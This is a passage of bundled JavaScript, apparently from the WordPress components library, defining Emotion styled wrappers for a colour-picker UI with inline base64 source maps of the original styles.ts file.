XNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31301 var SelectControl2 = /* @__PURE__ */ createStyled(select_control_default, false ? {
31302 target: "ez9hsf45"
31303 } : {
31304 target: "ez9hsf45",
31305 label: "SelectControl"
31306 })("margin-left:", space(-2), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQnlEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31307 var RangeControl2 = /* @__PURE__ */ createStyled(range_control_default, false ? {
31308 target: "ez9hsf44"
31309 } : {
31310 target: "ez9hsf44",
31311 label: "RangeControl"
31312 })("flex:1;margin-right:", space(2), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5QnVEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31313 var interactiveHueStyles = `
31314.react-colorful__interactive {
31315 width: calc( 100% - ${space(2)} );
31316 margin-left: ${space(1)};
31317}`;
31318 var AuxiliaryColorArtefactWrapper = /* @__PURE__ */ createStyled("div", false ? {
31319 target: "ez9hsf43"
31320 } : {
31321 target: "ez9hsf43",
31322 label: "AuxiliaryColorArtefactWrapper"
31323 })("padding-top:", space(2), ";padding-right:0;padding-left:0;padding-bottom:0;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQ3VEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZXNldCB9O1xuXG5cdHdpZHRoOiAyMTZweDtcblxuXHQucmVhY3QtY29sb3JmdWwge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHdpZHRoOiAyMTZweDtcblx0XHRoZWlnaHQ6IGF1dG87XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX3NhdHVyYXRpb24ge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0aGVpZ2h0OiAyMTZweDtcblx0XHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggNCApIH07XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0fVxuXG5cdC5yZWFjdC1jb2xvcmZ1bF9faHVlLFxuXHQucmVhY3QtY29sb3JmdWxfX2FscGhhIHtcblx0XHR3aWR0aDogMTg0cHg7XG5cdFx0aGVpZ2h0OiAxNnB4O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNGdWxsIH07XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyIHtcblx0XHRoZWlnaHQ6IDE2cHg7XG5cdFx0d2lkdGg6IDE2cHg7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IDAgMCAycHggMCByZ2JhKCAwLCAwLCAwLCAwLjI1ICk7XG5cblx0XHQvLyBTaG93biBpbnN0ZWFkIG9mIGJveC1zaGFkb3cgdG8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBlYXNlLWluLW91dDtcblx0XHR9XG5cdH1cblxuXHQucmVhY3QtY29sb3JmdWxfX2ludGVyYWN0aXZlOmZvY3VzIC5yZWFjdC1jb2xvcmZ1bF9fcG9pbnRlciB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAkeyBDT05GSUcuc3VyZmFjZUNvbG9yIH07XG5cdFx0Ym9yZGVyOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkIGJsYWNrO1xuXHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlKCAtNTAlLCAtNTAlICkgc2NhbGUoIDEuNSApO1xuXHR9XG5cblx0LnJlYWN0LWNvbG9yZnVsX19wb2ludGVyLWZpbGwge1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gI2ZmZjtcblx0fVxuXG5cdCR7IGludGVyYWN0aXZlSHVlU3R5bGVzIH1cbmA7XG4iXX0= */"));
31324 var AuxiliaryColorArtefactHStackHeader = /* @__PURE__ */ createStyled(component_default9, false ? {
31325 target: "ez9hsf42"
31326 } : {
31327 target: "ez9hsf42",
31328 label: "AuxiliaryColorArtefactHStackHeader"
31329 })("padding-left:", space(4), ";padding-right:", space(4), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0Q2tFIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG